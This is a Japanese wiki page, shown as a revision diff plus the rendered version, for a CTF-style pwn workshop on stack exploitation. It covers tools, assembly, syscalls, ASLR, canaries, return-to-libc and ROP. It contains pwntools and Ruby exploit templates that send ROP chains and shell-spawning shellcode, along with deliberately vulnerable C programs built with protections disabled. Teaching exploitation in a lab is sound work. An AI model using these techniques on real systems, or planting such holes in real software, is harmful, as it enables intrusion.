サイズ: 2211
コメント:
|
サイズ: 12402
コメント:
|
削除された箇所はこのように表示されます。 | 追加された箇所はこのように表示されます。 |
行 9: | 行 9: |
* rp++ (for ROP) | |
行 18: | 行 19: |
* checksec.sh | |
行 20: | 行 22: |
= x86 assembly = * Intel記法 * データはオペランドの右から左に流れる * 比較命令のオペランドの順序が命令名と一致しているためわかりやすい * 例{{{ 14: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 17: 01 45 fc add DWORD PTR [rbp-0x4],eax 1a: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 1e: 83 7d f8 09 cmp DWORD PTR [rbp-0x8],0x9 22: 7e f0 jle 14 <f+0x14> }}} * AT&T記法 * Intel記法のオペランドと逆順 * 例{{{ 14: 8b 45 f8 mov -0x8(%rbp),%eax 17: 01 45 fc add %eax,-0x4(%rbp) 1a: 83 45 f8 01 addl $0x1,-0x8(%rbp) 1e: 83 7d f8 09 cmpl $0x9,-0x8(%rbp) 22: 7e f0 jle 14 <f+0x14> }}} = System call = * システムコールとは * プログラムがカーネルとやりとりする一元化された窓口 * プログラムの動作権限 * ユーザモード * 普通のプログラムが動作 * 基本的にプロセスのメモリ内で計算しかできない. * それ以外のことをするためにはシステムコールを呼ぶ * カーネルモード * カーネルが動作 * 任意の操作が可能 {{attachment:systemcall.png}} = How to call System calls = システムコールの呼び出し方 * x86 * int 0x80 * INTerrupt (ソフトウェア割り込み命令) * システムコール番号: eax * 引数: ebx, ecx, edx, esi, edi, ebp * x86-64 * syscall命令 * システムコール番号: rax * 引数: rdi, rsi, rdx, r10, r8, r9 ||<rowclass="header"> arch || instruction || syscall # || retval || arg1 || arg2 || arg3 || arg4 || arg5 || arg6 || || x86 || int 0x80 || eax || eax || ebx || ecx || edx || esi || edi || ebp || || x86-64 || syscall || rax || rax || rdi || rsi || rdx || r10 || r8 || r9 || = システムコール番号 = ||<rowclass="header"> system call || x86 || x86-64 || || execve || 11 || 59 || || open || 5 || 2 || || read || 3 || 0 || || write || 4 || 1 || 参考文献 * /usr/include/x86_64-linux-gnu/asm/unistd_32.h * /usr/include/x86_64-linux-gnu/asm/unistd_64.h = Pwntools = Pwntools? * for Python * 透過的・統合的なI/Oインターフェイス * recvuntil, interactiveなどの便利なI/O機能 * シェルコードの生成 * アセンブラ/ディスアセンブラ * 攻撃対象アーキテクチャに合わせたバイトオーダ・定数 install * `pip install pwntools` = Pwntools example = {{{#!highlight python # -*- coding: utf-8 -*- from pwn import * ## exploit対象のアーキテクチャ context(arch = 'i386', os = 'linux') # context(arch = "amd64", os = "linux") ## 攻撃のサーバに接続 conn = process("./example") # conn = remote("example.com", 10000) ## ROPを構成 rop = "" rop += p32(0x8048330) # mprotect rop += p32(0x804855d) # skip 3 words rop += p32(0x20000000) # buf ... ## シェルコードをアセンブル shellcode = asm(shellcraft.sh()) ## ログ表示 p = log.waitfor("Pwning") ## ": "を受信するまでrecv conn.recvuntil(": ") ## エクスプロイトを送信 conn.send(rop) time.sleep(0.5) conn.send(shellcode) ## ログ表示 p.success("OK") ## コンソールの入出力を攻撃対象に接続 conn.interactive() }}} = Ruby Example = 以下の外部ライブラリを利用する *metasm Ruby向けアセンブリ統合環境 *`gem install metasm`でインストール可能 *ctf_io.rb interactiveに通信するために必要 *[[http://pastebin.com/xPqLipN1]] exploitと同じディレクトリに入れる。 標準ライブラリのうち以下はpwnの問題を解く上でとても良く利用される *[[http://docs.ruby-lang.org/ja/1.9.3/library/socket.html|socket]] TCPやUDPのサーバに接続する *[[http://docs.ruby-lang.org/ja/1.9.3/library/expect.html|expect]] 正規表現にマッチする文字列が表われるまでreadする {{{#!highlight ruby require 'metasm' require 'expect' # IO#expect require 'socket' # TCPSocket require_relative 'ctf_io' # IO#interactive! # シェルコードをアセンブル(x86) # x86-64の場合はMetasm::Ia32の変わりにMetasm::X86_64を利用する shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string mov eax, 1 mov ebx, 42 int 80h // exit(42) SOURCE # ROPを作成 rop = '' rop << [0x8048330, 0x804855d].pack("I*") # 32bit little endian # "Q"が64bit litten endian # コマンドを実行し、その入出力をIOオブジェクトとして取得します。 IO.popen('./example', 'w') do |s| # TCPサーバに接続する場合は次のようにします。 # TCPSocket.open('ctforderpwn.cloudapp.net', 11011) do |s| s.expect(": ") # ": "を受信するまでread # s.expect(/(\d+): /) 正規表現も利用可能 # エクスプロイトの送信 s.print rop sleep 0.5 s.print shellcode # コンソールの入出力を攻撃対称に接続 s.interactive! end exit 0 # ログ出力が必要な場合、Rubyの標準のLogライブラリあたりを利用できます # 普通にSTDOUT.putsやppやpで十分な場合がほとんどだと思います。 # ここからアセンブラに関する補足。 # アセンブラではマクロを利用可能 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string #define EXIT 42 #define syscall int 80h mov eax, 1 mov ebx, EXIT syscall // exit(42) SOURCE # Cのヘッダファイルのインクルードし、定数等を利用 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string #include <asm/unistd_32.h> #define syscall(name) mov eax, __NR_##name \\ int 0x80 #define syscall1(name, arg1) mov ebx, arg1 syscall(name) syscall1(exit, 42) SOURCE # 定数を後からプログラムで設定 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded mov eax, fd SOURCE shellcode.fixup 'fd' => 3 # fdを3に設定 shellcode = shellcode.data # 文字列として取得 }}} |
|
行 29: | 行 217: |
fread(buf, 1, 4096, stdin); | int n; printf("length: "); fread(&n, 1, sizeof(n), stdin); printf("shellcode: "); fflush(stdout); fread(buf, 1, n, stdin); |
行 34: | 行 227: |
== Targets == * GNU/Linux:x86 ctforderpwn.cloudapp.net 10101 * GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10102 時間が余った人はARMにもチャレンジ * GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10103 = Shellcode(no /bin/sh) = * chroot環境版 * /bin/shが無いのでopen, read, writeを自分で行う必要がある == Targets == * GNU/Linux:x86 ctforderpwn.cloudapp.net 10201 * GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10202 時間が余った人はARMにもチャレンジ * GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10203 |
|
行 35: | 行 245: |
チートシート = System call = システムコールの呼び出し方 = Shellcode(no /bin/sh) = {{{#!highlight c // gcc -z execstack -fno-stack-protector -o baby1 baby1.c // -m32 / -m64 両方やってもらうよ! #include <stdio.h> typedef void func(); int main() { char buf[1024]; fread(buf, 1, 4096, stdin); ((func *)buf)(); } }}} |
[[http://d.sunnyone.org/2012/09/x86x8664.html|x86/x86_64関数呼び出しチートシート]] = ASLR = * プログラム本体,ライブラリ,ヒープ,スタックのアドレスのランダム化により攻撃の成功確率を低減 * 特にメモリ空間が広大な64ビットOSにおいて効果的 * 32ビットOSではブルートフォースが有効なこともある * プログラムやライブラリをコンパイルする際に配置アドレスに依存させないように設定が必要 * `-pie -fPIE` * `/DYNAMICBASE` * 現在でもプログラム本体が位置独立コードになっていないものは多い |
行 55: | 行 257: |
{{{#!highlight c // gcc -m32 -fno-stack-protector -o baby3 baby3.c |
* Returnアドレスを書き換えることで任意のアドレスに制御を移すことが出来る. * PLT * プログラム中に含まれるライブラリの関数を呼び出すための処理 * プログラム本体のアドレスがランダム化されていない際に,ライブラリを呼び出すのに利用できる * ReturnアドレスにPLTのアドレスを指定してやれば関数終了時にライブラリの関数が呼び出せる * 複数の関数を連続して呼ぶ方法をここで板書 = Stack canary = http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html * fork型のサーバではカナリヤは変化しない = Return-to-plt & Stack canary (演習) = {{{#!highlight c // gcc -m32 -fstack-protector -o baby3 baby3.c |
行 62: | 行 278: |
int n; fread(&n, 1, sizeof(n), stdin); |
|
行 63: | 行 281: |
gets(buf); | fread(buf, 1, n, stdin); |
行 69: | 行 287: |
= ASLR = ASLRについて説明 |
== Target == * GNU/Linux:x86 ctforderpwn.cloudapp.net 10301 * [[attachment:baby3-1]] |
行 73: | 行 292: |
* Return-to-pltではプログラムで使用している関数しか呼び出せない * libcが配置されているアドレスを知っていればlibcの任意の関数が呼び出し可能に * main関数を呼び出しているのはlibcの`__libc_start_main`関数 * つまりmain関数からの戻り先を見ればlibcの場所が分かる! = Return-to-libc (演習) = |
|
行 75: | 行 300: |
#include <stdio.h> | |
行 76: | 行 302: |
int f() { | int main() { |
行 78: | 行 304: |
write(1, buf, 64); read(0, buf, 1024); |
int n; write(1, buf, 128); fread(&n, 1, sizeof(n), stdin); fread(buf, 1, n, stdin); |
行 82: | 行 310: |
int main() { return f(); } }}} |
}}} == Target == * GNU/Linux:x86 ctforderpwn.cloudapp.net 10401 * [[attachment:baby4-1]] * libc6-i386 (2.19-0ubuntu6.6) 時間が余った人はx86-64とARMにもチャレンジ * GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10402 * [[attachment:baby4-2]] * libc6:amd64 (2.19-0ubuntu6.6) * GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10403 * [[attachment:baby4-3]] * libc6-armhf-cross (2.19-0ubuntu2cross1.104) = ROP = * Return-to-pltやReturn-to-libcでは関数としてひとまとまりになった処理しか呼び出せない * 関数の最後の部分を捕まえて命令単位で細切れ(gadget)にして呼び出す * さらにx86では命令が可変長なため,'''命令の途中から実行すると意味が変わる''' * 本来のプログラムには存在しなかったような命令を作り出せることがある * `rp++`で探索 |
行 88: | 行 333: |
// gcc -m64 -fno-stack-protector -o baby5 baby5.c | // gcc -m64 -fstack-protector -o baby3 baby3.c |
行 94: | 行 339: |
int n; fread(&n, 1, sizeof(n), stdin); |
|
行 95: | 行 342: |
gets(buf); | fread(buf, 1, n, stdin); |
行 101: | 行 348: |
= ROP = {{{#!highlight c // gcc -m32 -static -fno-stack-protector -o baby6 baby6.c |
== Target == * GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10302 * [[attachment:baby3-2]] 時間が余った人はARMにもチャレンジ * GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10303 * [[attachment:baby3-3]] = ROP (演習) = {{{#!highlight c // gcc -m32 -static -fno-stack-protector -o baby5 baby5.c #include <stdio.h> |
行 109: | 行 362: |
read(0, buf, 1024); | int n; fread(&n, 1, sizeof(n), stdin); fread(buf, 1, n, stdin); |
行 114: | 行 369: |
== Target == * GNU/Linux:x86 ctforderpwn.cloudapp.net 10501 * [[attachment:baby5-1]] 時間が余った人はx86-64とARMにもチャレンジ * GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10502 * [[attachment:baby5-2]] * GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10503 * [[attachment:baby5-3]] |
Pwn勉強会(Stack day 1)
Tools
- Disassembler
- udcli / ndisasm
- objdump
- METASM / Hopper / IDA Pro
- rp++ (for ROP)
- Assembler
- nasm
- Pwntools
- METASM?
- Debugger
- gdb-peda
- Pwn toolkit
- Pwntools
- Ruby系でなにか
- checksec.sh
Python(Pwntools)とRuby(METASM? ctfライブラリ?)好きな方を選んで作業を進めてもらう.
x86 assembly
- Intel記法
- データはオペランドの右から左に流れる
- 比較命令のオペランドの順序が命令名と一致しているためわかりやすい
例
14: 8b 45 f8 mov eax,DWORD PTR [rbp-0x8] 17: 01 45 fc add DWORD PTR [rbp-0x4],eax 1a: 83 45 f8 01 add DWORD PTR [rbp-0x8],0x1 1e: 83 7d f8 09 cmp DWORD PTR [rbp-0x8],0x9 22: 7e f0 jle 14 <f+0x14>
AT&T記法
- Intel記法のオペランドと逆順
例
14: 8b 45 f8 mov -0x8(%rbp),%eax 17: 01 45 fc add %eax,-0x4(%rbp) 1a: 83 45 f8 01 addl $0x1,-0x8(%rbp) 1e: 83 7d f8 09 cmpl $0x9,-0x8(%rbp) 22: 7e f0 jle 14 <f+0x14>
System call
- システムコールとは
- プログラムがカーネルとやりとりする一元化された窓口
- プログラムの動作権限
- ユーザモード
- 普通のプログラムが動作
- 基本的にプロセスのメモリ内で計算しかできない.
- それ以外のことをするためにはシステムコールを呼ぶ
- カーネルモード
- カーネルが動作
- 任意の操作が可能
- ユーザモード
How to call System calls
システムコールの呼び出し方
- x86
- int 0x80
- INTerrupt (ソフトウェア割り込み命令)
- システムコール番号: eax
- 引数: ebx, ecx, edx, esi, edi, ebp
- int 0x80
- x86-64
- syscall命令
- システムコール番号: rax
- 引数: rdi, rsi, rdx, r10, r8, r9
arch |
instruction |
syscall # |
retval |
arg1 |
arg2 |
arg3 |
arg4 |
arg5 |
arg6 |
x86 |
int 0x80 |
eax |
eax |
ebx |
ecx |
edx |
esi |
edi |
ebp |
x86-64 |
syscall |
rax |
rax |
rdi |
rsi |
rdx |
r10 |
r8 |
r9 |
システムコール番号
system call |
x86 |
x86-64 |
execve |
11 |
59 |
open |
5 |
2 |
read |
3 |
0 |
write |
4 |
1 |
参考文献
- /usr/include/x86_64-linux-gnu/asm/unistd_32.h
- /usr/include/x86_64-linux-gnu/asm/unistd_64.h
Pwntools
Pwntools?
- for Python
- 透過的・統合的なI/Oインターフェイス
- recvuntil, interactiveなどの便利なI/O機能
- シェルコードの生成
- アセンブラ/ディスアセンブラ
- 攻撃対象アーキテクチャに合わせたバイトオーダ・定数
install
pip install pwntools
Pwntools example
1 # -*- coding: utf-8 -*-
2 from pwn import *
3 ## exploit対象のアーキテクチャ
4 context(arch = 'i386', os = 'linux')
5 # context(arch = "amd64", os = "linux")
6 ## 攻撃のサーバに接続
7 conn = process("./example")
8 # conn = remote("example.com", 10000)
9 ## ROPを構成
10 rop = ""
11 rop += p32(0x8048330) # mprotect
12 rop += p32(0x804855d) # skip 3 words
13 rop += p32(0x20000000) # buf
14 ...
15 ## シェルコードをアセンブル
16 shellcode = asm(shellcraft.sh())
17 ## ログ表示
18 p = log.waitfor("Pwning")
19 ## ": "を受信するまでrecv
20 conn.recvuntil(": ")
21 ## エクスプロイトを送信
22 conn.send(rop)
23 time.sleep(0.5)
24 conn.send(shellcode)
25 ## ログ表示
26 p.success("OK")
27 ## コンソールの入出力を攻撃対象に接続
28 conn.interactive()
Ruby Example
以下の外部ライブラリを利用する
- metasm Ruby向けアセンブリ統合環境
gem install metasmでインストール可能
- ctf_io.rb interactiveに通信するために必要
http://pastebin.com/xPqLipN1 exploitと同じディレクトリに入れる。
標準ライブラリのうち以下はpwnの問題を解く上でとても良く利用される
1 require 'metasm'
2 require 'expect' # IO#expect
3 require 'socket' # TCPSocket
4 require_relative 'ctf_io' # IO#interactive!
5
6 # シェルコードをアセンブル(x86)
7 # x86-64の場合はMetasm::Ia32の変わりにMetasm::X86_64を利用する
8 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
9 mov eax, 1
10 mov ebx, 42
11 int 80h // exit(42)
12 SOURCE
13
14 # ROPを作成
15 rop = ''
16 rop << [0x8048330, 0x804855d].pack("I*") # 32bit little endian
17 # "Q"が64bit litten endian
18
19 # コマンドを実行し、その入出力をIOオブジェクトとして取得します。
20 IO.popen('./example', 'w') do |s|
21 # TCPサーバに接続する場合は次のようにします。
22 # TCPSocket.open('ctforderpwn.cloudapp.net', 11011) do |s|
23
24 s.expect(": ") # ": "を受信するまでread
25 # s.expect(/(\d+): /) 正規表現も利用可能
26
27 # エクスプロイトの送信
28 s.print rop
29 sleep 0.5
30 s.print shellcode
31
32 # コンソールの入出力を攻撃対称に接続
33 s.interactive!
34 end
35 exit 0
36 # ログ出力が必要な場合、Rubyの標準のLogライブラリあたりを利用できます
37 # 普通にSTDOUT.putsやppやpで十分な場合がほとんどだと思います。
38
39 # ここからアセンブラに関する補足。
40
41 # アセンブラではマクロを利用可能
42 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
43 #define EXIT 42
44 #define syscall int 80h
45 mov eax, 1
46 mov ebx, EXIT
47 syscall // exit(42)
48 SOURCE
49
50
51 # Cのヘッダファイルのインクルードし、定数等を利用
52 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encode_string
53 #include <asm/unistd_32.h>
54 #define syscall(name) mov eax, __NR_##name \\
55 int 0x80
56 #define syscall1(name, arg1) mov ebx, arg1 syscall(name)
57 syscall1(exit, 42)
58 SOURCE
59
60
61 # 定数を後からプログラムで設定
62 shellcode = Metasm::Shellcode.assemble(Metasm::Ia32.new, <<SOURCE).encoded
63 mov eax, fd
64 SOURCE
65 shellcode.fixup 'fd' => 3 # fdを3に設定
66 shellcode = shellcode.data # 文字列として取得
Shellcode
1 // gcc -z execstack -fno-stack-protector -o baby1 baby1.c
2 // -m32 / -m64 両方やってもらうよ!
3 #include <stdio.h>
4 typedef void func();
5 int main() {
6 char buf[1024];
7 int n;
8 printf("length: ");
9 fread(&n, 1, sizeof(n), stdin);
10 printf("shellcode: ");
11 fflush(stdout);
12 fread(buf, 1, n, stdin);
13 ((func *)buf)();
14 }
Targets
GNU/Linux:x86 ctforderpwn.cloudapp.net 10101
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10102
時間が余った人はARMにもチャレンジ
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10103
Shellcode(no /bin/sh)
- chroot環境版
- /bin/shが無いのでopen, read, writeを自分で行う必要がある
Targets
GNU/Linux:x86 ctforderpwn.cloudapp.net 10201
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10202
時間が余った人はARMにもチャレンジ
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10203
x86/x86-64 ABI
ASLR
- プログラム本体,ライブラリ,ヒープ,スタックのアドレスのランダム化により攻撃の成功確率を低減
- 特にメモリ空間が広大な64ビットOSにおいて効果的
- 32ビットOSではブルートフォースが有効なこともある
- プログラムやライブラリをコンパイルする際に配置アドレスに依存させないように設定が必要
-pie -fPIE
/DYNAMICBASE
- 現在でもプログラム本体が位置独立コードになっていないものは多い
Return-to-plt
- Returnアドレスを書き換えることで任意のアドレスに制御を移すことが出来る.
- PLT
- プログラム中に含まれるライブラリの関数を呼び出すための処理
- プログラム本体のアドレスがランダム化されていない際に,ライブラリを呼び出すのに利用できる
- ReturnアドレスにPLTのアドレスを指定してやれば関数終了時にライブラリの関数が呼び出せる
- 複数の関数を連続して呼ぶ方法をここで板書
Stack canary
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html
- fork型のサーバではカナリヤは変化しない
Return-to-plt & Stack canary (演習)
Target
GNU/Linux:x86 ctforderpwn.cloudapp.net 10301
Return-to-libc
- Return-to-pltではプログラムで使用している関数しか呼び出せない
- libcが配置されているアドレスを知っていればlibcの任意の関数が呼び出し可能に
main関数を呼び出しているのはlibcの__libc_start_main関数
- つまりmain関数からの戻り先を見ればlibcの場所が分かる!
Return-to-libc (演習)
Target
GNU/Linux:x86 ctforderpwn.cloudapp.net 10401
- libc6-i386 (2.19-0ubuntu6.6)
時間が余った人はx86-64とARMにもチャレンジ
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10402
- libc6:amd64 (2.19-0ubuntu6.6)
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10403
- libc6-armhf-cross (2.19-0ubuntu2cross1.104)
ROP
- Return-to-pltやReturn-to-libcでは関数としてひとまとまりになった処理しか呼び出せない
- 関数の最後の部分を捕まえて命令単位で細切れ(gadget)にして呼び出す
さらにx86では命令が可変長なため,命令の途中から実行すると意味が変わる
- 本来のプログラムには存在しなかったような命令を作り出せることがある
rp++で探索
Return-to-plt revisited(x86-64) with tiny ROP
Target
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10302
時間が余った人はARMにもチャレンジ
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10303
ROP (演習)
Target
GNU/Linux:x86 ctforderpwn.cloudapp.net 10501
時間が余った人はx86-64とARMにもチャレンジ
GNU/Linux:x86-64 ctforderpwn.cloudapp.net 10502
GNU/Linux:arm-gnueabihf ctforderpwn.cloudapp.net 10503
実践
適当な問題を探す